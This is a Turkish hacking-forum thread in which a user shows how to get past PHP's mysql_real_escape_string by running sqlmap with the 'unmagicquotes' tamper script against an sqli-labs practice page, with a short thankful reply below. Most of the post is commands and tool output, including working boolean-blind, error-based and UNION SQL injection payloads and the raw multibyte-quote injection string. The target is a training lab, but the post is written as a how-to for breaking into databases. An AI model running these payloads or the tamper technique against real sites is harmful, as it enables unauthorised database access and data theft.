1.                                                

sqlmap mysql_real_escape_string

'Tools' forumunda linus tarafından 3 Eylül 2016 tarihinde açılan konu

  1. linus

    linus New Member

    Katılım:
    2 Eylül 2016
    Mesaj:
    17
    Beğeniler:
    5
    Ödül Puanları:
    3

    Bu konumuzda sqlmap ile “mysql_real_escape_string” fonksiyonunu geçmeyi anlatacayım, fonksiyon kısaca veritabanına sızacak bazı tehlikeli karakterleri engelliyor.Sisteme sızarken genellikle şu karakterlerleri engeller: (\x00, \n, \r, \, ', " and \x1a.)

    Uygulamaya geçelim

    [email protected]:~$ sqlmap -u "192.168.1.110/sqli-labs-master/Less-36/?id=1" --dbms=MySQL

    [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

    Sonuç: veritabanına bu şekilde sızılamadı, kulllanılan adresi url olarak dekode ettiğimizde ise sokuşturmamız :D ?id=1'.(")()".), şimdi ise bunun için bir tamper scripti kullanalım.


    [email protected]:~$ sqlmap -u "192.168.1.110/sqli-labs-master/Less-36/?id=1" --dbms=MySQL --tamper=”unmagicquotes”

    sqlmap identified the following injection point(s) with a total of 63 HTTP(s) requests:
    ---
    Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=1' AND 9475=9475#

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71786b7a71,(SELECT (ELT(2189=2189,1))),0x7162706a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- gLHT


    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: id=-7825' UNION ALL SELECT NULL,CONCAT(0x71786b7a71,0x74497a474558414d537a68677a736f584a52426d55417351557570496e4953684e5245677143525a,0x7162706a71),NULL#
    --


    Sonuç: veritabanına sızıldı, peki bu nasıl oluyor, gönderilen sokuşturmamız : ?id=1%bf%27%29.%28..%2C%27%2C%22--%20 sokuşturma yani query, RAW formatında gönderiliyor ve mysql_real_escape_string koruması bunu göremiyor.

    Umarım konu işinize yarar, daha fazla detay isterseniz kaynaklara bakabilirsiniz.

    Kaynaklar :

    http://php.net/manual/tr/function.mysql-real-escape-string.php
    https://encoder.mattiasgeniar.be/index.php (url dekode ve enkode etmek için)
    https://github.com/sqlmapproject/sqlmap/blob/master/tamper/unmagicquotes.py (script kaynak kodu incelemeniz için)
     
    seytan6161 bunu beğendi.
  2. Al-Farabi

    Al-Farabi Albay

    Katılım:
    16 Ocak 2016
    Mesaj:
    1,345
    Beğeniler:
    126
    Ödül Puanları:
    63
    İşte bu be.. Yeni bir arkadaş yeni bir konu .
    Çok sağolasın dostum devamını dilerim.
    Gerçekten ilk mesajının konu paylaşımı olmasına çok şaşırdım çok teşekkürler
     

Bu Sayfayı Paylaş

Share